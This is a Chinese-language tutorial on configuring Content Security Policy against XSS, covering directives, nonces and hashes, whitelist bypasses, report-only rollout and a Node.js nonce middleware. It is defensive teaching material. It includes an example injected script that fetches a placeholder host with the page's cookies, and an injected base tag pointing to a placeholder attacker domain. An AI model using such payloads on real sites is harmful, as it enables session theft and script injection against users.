内容安全策略CSP实战指南:从XSS防御到白名单机制与nonce配置 1. 先想清楚CSP到底在防什么Web安全里有个挺反直觉的现象攻击者并不一定要攻破你的服务器只需要让你页面里的一段脚本替他干活就行。内容安全策略Content Security Policy简称CSP是我这几年前端安全加固里最愿意先铺的一道防线原因很简单它不需要改业务逻辑只通过一个响应头就能把“浏览器到底该信任谁”这件事重新讲清楚。很多团队把安全寄托在输入过滤和WAFWeb应用防火墙上但这两种方案都有硬伤输入过滤总有漏网之鱼WAF只解决请求入口不解决浏览器端已经发生的执行问题。真正容易被忽视的现实是XSS跨站脚本攻击之所以难缠是因为浏览器默认信任页面里的所有代码——哪怕这段代码是被攻击者塞进来的。CSP干的事情就是把这种默认信任改成白名单信任页面只能加载我明确允许的源内联脚本要么带nonce要么带哈希任何不属于白名单的加载请求都会被拦截。这篇内容适合谁来读我的建议是前端开发者至少要能读懂CSP的语法和报错后端和运维要会配响应头和服务端注入安全工程师则需要站在绕过视角审视配置强度。三拨人的认知差越大CSP就越容易配成摆设。文章里我会把指令拆开讲给出可复制的配置模板和上线流程最后再聊聊我实际踩过的几个坑。1.1 一次注入攻击让页面发生了什么先说一个典型场景。某公司的商品评论页支持用户提交内容后端对内容做了一些过滤但只处理了尖括号和常见标签。攻击者提交了这样一段数据script fetch(//bad.example/collect?c document.cookie) /script评论保存后其他用户正常浏览页面时这段脚本就跟着评论内容一起被浏览器渲染执行。问题不在于后端有没有过滤而在于浏览器无法区分这段脚本是业务代码还是攻击代码。脚本能读取当前域名的Cookie能拿用户登录态能把数据发到攻击者的服务器。更麻烦的是XSS不一定都长这样。现在很多页面里都有“直接将用户输入的HTML字符串插入DOM”的设计很多弹窗、富文本组件都有类似逻辑。只要有一段能被浏览器当成脚本执行的内容且页面没有构建执行边界问题就是早晚的事。CSP的定位不是代替输入过滤而是在注入已经发生的情况下把脚本执行的半径锁死。这段攻击脚本的来源不在白名单里浏览器就会拒绝执行并发出一条违规报告即便真的被插入了script标签也只会成为一个不产生实际作用的死节点。1.2 CSP的三大机制白名单、内联约束、违规上报CSP的工作方式可以简化成三部分。第一来源白名单。通过default-src、script-src、style-src、img-src、connect-src等指令告诉浏览器页面里各类资源允许从哪里加载。比如script-src self只允许从当前域名加载脚本其他域名的脚本一律不发请求。这相当于给每个资源类型单独发了一张“准许访问名单”。第二内联代码控制。很多人第一次配CSP都会遇到一个坎业务页面里为了性能直接写在HTML里的内联脚本、内联样式CSP默认不允许执行。解决办法有两个要么给script标签加nonce属性服务端每次响应随机生成的一次性令牌要么把内联脚本的内容算成哈希值后放进白名单。这两个机制解决的是同一个问题内联代码本身没有“来源域名”可判断只能靠额外标记验证。第三违规上报。CSP可以配置一个上报地址一旦浏览器拦截了某个不被允许的资源或脚本就把违规详情JSON数据发送到指定接口。配合Content-Security-Policy-Report-Only模式页面不会真的拦截违规资源只是默默记录上报。这个机制是CSP安全落地的关键因为它允许你在不破坏业务的前提下先收集一遍真实环境里的违规情况。1.3 谁最需要把CSP当回事CSP常被贴上“安全工程师的事”这个标签但实际落地时它跟前端构建体系的关系非常大。单页应用会使用Webpack或Vite等构建工具打包后的JS文件往往带有哈希文件名这反而让CSP配置简单了不少——script-src self基本就能覆盖多数生产环境。真正麻烦的场景通常出现在三处引用了第三方统计脚本、页面模板里有服务端渲染的内联数据、或者用到了代理转发后的跨域接口。如果你是后端开发者至少要知道helmet这类中间件能帮你设置CSP响应头如果你正在维护一个老的后台管理系统那关注点应该是如何在不把页面改坏的前提下给日益增多的内联脚本打上nonce。CSP没有一个“万能配置”它必须依据页面真实资源情况逐步收敛。这也是为什么我建议前端负责人主动介入CSP配置而不是等安全同事给出一个没法用的严格策略再反向推动。2. CSP指令拆解常用配置与边界掌握2.1 指令分类与功能速查CSP的指令很多但真正每天用到的其实就那么十来个。我习惯把指令分成三个层级来看最上层是default-src兜底中间是各类资源类型指令基础控制类指令则负责URL和表单等行为边界。指令作用常见取值说明default-src兜底策略未单独设置时生效self、具体域名、nonescript-srcJS文件、内联脚本、eval等执行来源self、unsafe-inline、unsafe-eval、nonce、哈希style-src样式文件和内联样式来源同上通常需要unsafe-inlineimg-src图片来源支持data:、blob:协议connect-srcfetch、XHR、WebSocket等通讯源后端API域名必须覆盖到font-src字体文件来源支持data:object-srcobject、embed、applet插件建议直接noneframe-src子页面iframe来源对应嵌入的第三方页面frame-ancestors允许谁用iframe嵌套当前页面防点击劫持的关键base-uri限制页面base标签能设置的基础URL不设容易被拿来改相对路径form-action表单可提交的地址范围防钓鱼型的表单劫持worker-srcWeb Worker的加载来源新版浏览器支持upgrade-insecure-requests将页面内HTTP请求升级为HTTPS对混合内容非常有用一个容易让人混淆的点是default-src和具体指令之间的关系。比如你只写了default-src self那么所有未单独指定的资源类型都默认按self执行如果后来加了img-src data:那图片会按img-src执行而其他资源继续沿用default-src。这不是“叠加”而是更细粒度的指令覆盖兜底指令。2.2 一组合规配置的完整示例我常用的一个基础配置长这样Content-Security-Policy: default-src none; script-src self nonce-随机值 https://static.trusted-cdn.example; style-src self unsafe-inline; img-src self data: blob: https://images.trusted-cdn.example; font-src self data:; connect-src self https://api.trusted-cdn.example wss://api.trusted-cdn.example; object-src none; base-uri self; form-action self; frame-ancestors none; upgrade-insecure-requests;为什么default-src我直接写none而不是self因为self看起来安全但默认放行了所有同源加载一旦页面存在可被利用的上传点或路径穿越漏洞攻击者就有了一个同源来源可以借力。而none是一种白名单思路的反向加强没明确放行的资源一律不许加载。这样新增资源类型时会被浏览器明确指出而不是在安全审查时靠肉眼排查。style-src里保留unsafe-inline是我一个比较务实的选择。前端很多框架会动态插入样式运行时改元素内联样式也依赖这个机制。如果强行禁止需要把样式抽成CSS类并系统性改造收益虽然大但对旧项目成本太高。可以把它理解为“允许动态改样式的能力”而不是“允许恶意脚本乱加样式”。object-src none可以无脑加上。现在几乎没有业务会用到Flash、Java Applet这类插件但老漏洞利用链经常用它兜底加载恶意内容。提前封死一个利用面几乎不费任何成本。2.3 内联代码的处理nonce与哈希的取舍先明确一个核心概念如果script-src里没有指定unsafe-inlineCSP默认就会阻止所有内联脚本和JavaScript事件属性比如onclick...。要让内联代码合法通过主流做法只有两个nonce和哈希。nonce翻译过来就是“一次性随机数”。服务端每次返回HTML时在响应头里放进一个新鲜生成的随机字符串同时给允许执行的内联script标签打上相同值的nonce属性。浏览器比对后发现两者相等就会放行这个脚本。因为nonce每次响应都不同攻击者在注入时没办法提前知道这个值也没有办法伪造。script nonceEDnN94Iwmfk0XdU8 window.__INITIAL_STATE__ { userId: 123, role: admin }; /script对应的响应头Content-Security-Policy: script-src self nonce-EDnN94Iwmfk0XdU8;哈希方案更适合静态场景。你把某个内联脚本的内容用SHA-256或SHA-384算出一个固定摘要写进策略里浏览器会自行计算实际脚本的哈希匹配就放行。它的缺陷也很明显脚本内容一旦改动哈希就要同步更新不灵活所以通常只用于极少数内容长期不变的内联初始化脚本。在CSP版本兼容上有一个关键细节unsafe-inline和nonce同时出现在策略里时支持CSP3的浏览器会忽略unsafe-inline只认nonce而只支持CSP1的旧浏览器则会直接放行所有内联脚本。这算是一个兼容性坑后面排查部分我再展开讲。3. 站在攻击者视角审视CSP绕过与配置强度分级3.1 宽松白名单等于白配CSP绕过的根源大多数时候不是CSP本身而是配置者留下的口子。最常见的一个口子是为了接第三方统计或广告SDK把整个第三方域名放进了script-src。比如策略里写着script-src self https://cdn.third-party.example看起来只是多了一个“可信来源”但如果这个第三方CDN存在文件上传功能或者开放了可被控制的JSONP接口攻击者就可以把自己的恶意脚本上传到那个域名下再通过注入script标签加载。浏览器一看来源在名单里直接执行。JSONP是我排查CSP问题时反复遇到的经典绕过入口。假设站点允许https://api.third-party.example/user/info?callbackxxx这样的请求作为脚本加载攻击者可以把callback参数改成alert或者fetch函数名构造出一个能执行任意JS的“伪脚本”。只要这个域名在script-src白名单里CSP就拦不住。所以配置script-src时我建议对每个域名都要问三个问题这个域名上有没有用户可以影响内容的入口域名是不是只有我可控能不能换成更精确的路径级白名单大部分CSP绕过都是在这三个问题上疏忽造成的。3.2 常被忽略的base-uri、form-action与object-src很多人配置CSP时只盯着script-src、img-src但有些指令缺失造成的损失一点也不小。base标签能改变页面里所有相对URL的解析基准。攻击者如果能注入一个base hrefhttps://bad.example/页面后面的相对路径脚本请求就可能会被引到攻击者服务器最终在页面上下文里加载恶意代码。这是一条经典的利用链只需要在策略里显式加一句base-uri self就能堵死。form-action管的是表单提交目标。攻击者注入一段伪造的表单把用户输入的账号密码通过POST发到钓鱼服务器这在旧系统里很容易实现。CSP默认不会限制表单提交地址所以页面做登录、支付、找回密码等功能时一定要显式声明form-action self并且确认所有合法提交地址都在白名单内。object-src如果你没有显示设置它会回退到default-src。不少老系统把default-src配成*或self这就等于给嵌入式插件开了一条口子。严格配置里直接object-src none零成本堵住这条老路。3.3 从宽松到严格的配置梯度我给不同成熟度的项目划分过三个配置级别方便团队渐进式推进。第一个级别是“能跑起来优先”。典型做法是script-src self unsafe-inline unsafe-eval https://第三方域名适合老业务还没改造完的时候临时顶上。这个级别的核心意义是先把CSP引入生产环境用Report-Only模式收集问题但它不提供真正的防御强度。第二个级别是“常规加固”。去掉大部分unsafe-inline改用nonce关闭unsafe-eval显式配置connect-src、object-src、base-uri、form-action。这一步对多数团队是性价比最高的阶段覆盖了绝大多数已知绕过路径。第三个级别是“严格锁定”。default-src none所有资源按最小必要原则显式放行并且把第三方脚本全部收敛到自控域名甚至通过代理转发统一来源。这需要完整的前端架构配合不是单靠几行响应头就能完成。我的实际建议是新建项目直接按第三级别起步老项目至少先做到第二级别。不要因为“现在很难改”就不上CSP越晚动手历史包袱越重。4. 把CSP落地从报告模式到全量执行的实操流程4.1 落地前的资源审计与工作清单正式加CSP响应头之前先花半天时间做一次资源审计否则上线当天就是排查大会。首先打开浏览器开发者工具访问典型业务页面把Net面板里所有资源按类型分组。记录三类不干净的内容跨域域名脚本和图片、内联脚本块、内联样式和动态样式操作。对这些内容分别打标签业务自有的、第三方引入的、攻击面较大的。其次检查页面结构里有没有base标签有没有动态创建iframe的地方有没有直接用innerHTML插入富文本的场景。这些点都会直接影响CSP具体指令的配置。同时要梳理接口通讯。列出所有前端会调用的API域名包括WebSocket地址并确认它们都走HTTPS。CSP里的connect-src如果漏了API域名页面会出现“请求本身发出去了但是响应被浏览器拦截”的诡异现象。最后把构建产物里的JS文件路径看清。现在主流打包工具都会给文件名加哈希这是好现象因为意味着即使script-src限制为self旧版本文件也不会被加载执行缓存污染的影响面小了很多。4.2 报告模式与report-to的配置手法CSP落地的第一步不是强制执行而是打开Report-Only模式把违规变成可观测的数据。Reporting-Endpoints: csp-endpointhttps://csp-report.trusted-cdn.example/v1/csp Content-Security-Policy-Report-Only: default-src none; script-src self nonce-EDnN94Iwmfk0XdU8 https://static.trusted-cdn.example; style-src self unsafe-inline; img-src self data: https://images.trusted-cdn.example; connect-src self https://api.trusted-cdn.example; object-src none; base-uri self; form-action self; report-to csp-endpoint;注意头部命名。Report-Only模式的响应头是Content-Security-Policy-Report-Only和强制模式的Content-Security-Policy是两套独立字段浏览器会同时生效。所以你可以让正式策略先行执行同时在另一个环境用Report-Only收集新策略的违规情况两者互不干扰。新的report-to头配合缺失了传统report-uri但在老版本浏览器上兼容性不如后者。稳妥做法是两个都写上report-uri会被新版支持report-to优先解析既兼容老设备也能获得新版结构化的数据。上报接口收到的JSON长这样{ csp-report: { document-uri: https://shop.trusted-cdn.example/checkout, blocked-uri: https://bad.example/evil.js, violated-directive: script-src, effective-directive: script-src, original-policy: ..., source-file: https://shop.trusted-cdn.example/checkout, line-number: 12 } }在Report-Only阶段我的目标只有一个让违规事件数量趋近于零。不要急着切强模式违规降到零再说。4.3 服务端动态nonce的实现代码如果页面里有内联脚本最好的做法就是nonce。服务端去生成、随响应头下发、并同步注入script标签。这里用一个常见的Node.js服务端中间件做示例const crypto require(crypto); function cspWithNonce(req, res, next) { const nonce crypto.randomBytes(16).toString(base64); res.locals.cspNonce nonce; res.setHeader( Content-Security-Policy, [ default-src none, script-src self nonce-${nonce} https://static.trusted-cdn.example, style-src self unsafe-inline, img-src self data: blob: https://images.trusted-cdn.example, font-src self data:, connect-src self https://api.trusted-cdn.example wss://api.trusted-cdn.example, object-src none, base-uri self, form-action self ].join(; ) ); next(); }在模板引擎或服务端页面里把nonce传给script标签script nonce% cspNonce % window.__INITIAL_STATE__ { userId: 123, permission: editor }; /script关键原则是nonce必须每个响应都不相同并且不能在浏览器端被攻击者预测。如果服务端套了CDN一定要小心缓存策略把nonce值也缓存下来。HTML页面只要涉及nonce就不应该被CDN长时间缓存要么在CDN上动态回源要么对这些带nonce的页面直接禁用缓存。否则所有用户拿到同一个nonce攻击者就很容易把nonce固化成可复用的凭据。如果页面完全托管在静态CDN上没有服务端渲染可用于动态nonce注入那就得用哈希方案把内联脚本的内容算成固定值加入策略echo -n window.__INITIAL_STATE__{userId:123} | openssl dgst -sha256 -binary | base64将输出值填入script-src self sha256-xxxxxx;唯一要记住的是哈希方案不适用于经常变动的内联脚本哪怕删掉一个空格哈希就失效了。建议只对完全静态的初始化逻辑使用哈希。4.4 向全量切换的灰度节奏从Report-Only切换成强制模式不建议一次性全部替换。推荐按路由或页面分级放开。第一周先把不重要的低优页面切到强制模式。比如登录页、静态页、企业内部公告页这些页面资源结构简单出问题影响面小。观察当天是否有用户反馈页面加载异常检查CSP上报里是否还有新增违规。第二周把核心交易链路之外的页面全部放开。这里要留意第三方统计和广告代码它们往往是违规的主要来源。如果第三方脚本在强制模式下无法生成、无法上报数据基本都会被拦截。这时候要做选择题要么让第三方改为提供支持nonce的异步加载形式要么把第三方脚本整体撤下。第三周核心页面全量放开。在此之前最好做一轮全流程回归尤其是登录、支付、文件上传、客服会话这类涉及跨域请求和iframe的功能。我在实际执行中还会开一层“版本TCP”上线前把新旧策略同时部署新策略走Report-Only旧策略保持强制等到新策略在观测时间窗内报告量归零再切换旧策略下线。这种过渡方式能显著降低线上事故概率。5. 常见问题排查与踩坑实录5.1 容易写错的CSP语法与浏览器报错解读CSP的配置在浏览器控制台里的报错非常明确只要你愿意多花十分钟逐条看绝大多数问题都能定位到具体指令。但前提是你要会读。报错现象常见原因处理办法“Refused to load the script ... because it violates the following Content Security Policy directive”script-src里没放行脚本域名或nonce不匹配添加域名白名单或让服务端重新生成nonce“Refused to evaluate a string as JavaScript”script-src缺失unsafe-eval页面里又用了eval/Function最好重构去掉eval确需保留才放行“Refused to apply inline style”style-src没设置unsafe-inline优先调整业务为外链样式无法避免再放行“Ignored ... because user agent does not support the directive”当前浏览器不支持某个新指令不影响旧浏览器但上报数据里会出现大量“未识别指令”噪音表单提交被拦form-action未包含目标域名梳理合法表单接收地址并加入白名单页面底部白屏无报错常见于内联脚本被拦初始化数据没渲染打开控制台看是否有“blocked by CSP”记录还有两个语法问题必须单独强调。CSP指令之间用分号分隔指令内部允许的值用空格分隔。很多人误用逗号结果浏览器把整段策略解析成一条无法识别的指令。另一个是把self和self写混漏掉单引号会导致指令直接失效。单引号不是装饰是语法的一部分。unsafe-inline配合nonce出现的兼容性问题也值得再提一次。部分浏览器在配置同时包含unsafe-inline和nonce时会弹出警告“host-whitelist and keyword mixed”对nonce支持不完整实际效果是内联脚本仍然被放行等于CSP白配。检查办法很简单看浏览器控制台是否有相关警告。建议在新版权限浏览器测试环境里把unsafe-inline彻底移出脚本策略逼团队完成真正的nonce迁移。5.2 我实际踩过的三个坑第一个坑是样式崩了半小时找不到原因。某个后台系统要换主题皮肤开发环境一切正常上线后用户报告登录页按钮全乱。排查下来发现页面通过link标签加载了一个跨域字体的CSS这个CSS文件里动态插入了一段内联样式来修正加载路径CSP把这段内联样式拦了。这个问题的启示是跨域CSS包里的内联样式也同样受style-src限制。第三方并不是希望你放宽到“所有跨域样式”而是要看具体文档规格。第二个坑是WebSocket被CSP拦截。当时给一个报表系统加了实时看板connect-src里只写了https://api.trusted-cdn.example结果WebSocket连接全部失败。控制台报错指向connect-src因为WebSocket地址以wss://开头不属于https:模式。解决办法是在connect-src里同时加入wss://api.trusted-cdn.example。这个小细节很容易在配置时忽略。第三个坑是上报数据里混入了一大堆自我误报。页面里嵌的对话客服脚本是在页面加载时通过document.createElement(script)动态加载的而它的加载地址不在script-src里。上报接口每次有用户访问都会收到大量该域名的违规报告。过滤这些“高重复但无害”的噪音很费时间后来把脚本域名加入白名单才算消停。建议接第三方SDK时提前梳理动态加载的域名能减少大量上报噪音。6. 关于CSP一些容易被低估的经验最后说几个我经过多次操作才总结出来的体会。CSP不是一个静态的响应头而是一条和业务同步演进的配置。每当重构前端构建流程、引入新第三方组件、增加新的接口域名都应该同步过一遍CSP策略。我见过不少团队配好CSP后一年没动结果某次升级后页面白屏大家第一反应是代码bug绕了一圈才发现是新版本组件动态引入了一个跨域脚本。把CSP纳入发布变更的检查清单比事后排查要省心得多。另外一个容易被低估的细节是CSP违规报告接口本身要做限流和鉴权。它可能被恶意刷量甚至成为信息泄露通道。至少应该做三层只接受合法来源的POST请求、对单IP访问频率限流、上报内容脱敏过滤敏感字段。很多公司的CSP上报接口都裸奔在公网上这本身就是新的攻击面。我现在的习惯是配置完成后每个月用自动化脚本抓取一次生产环境首页和核心页面的响应头对比策略变更并保存一个历史版本。这样既能追踪改动来源也能在安全评审时快速给出“当前防御处于什么级别”的明确答案。安全不是一次性交付它更像是持续保养的过程。CSP是你手里成本最低、见效最快的那把扳手。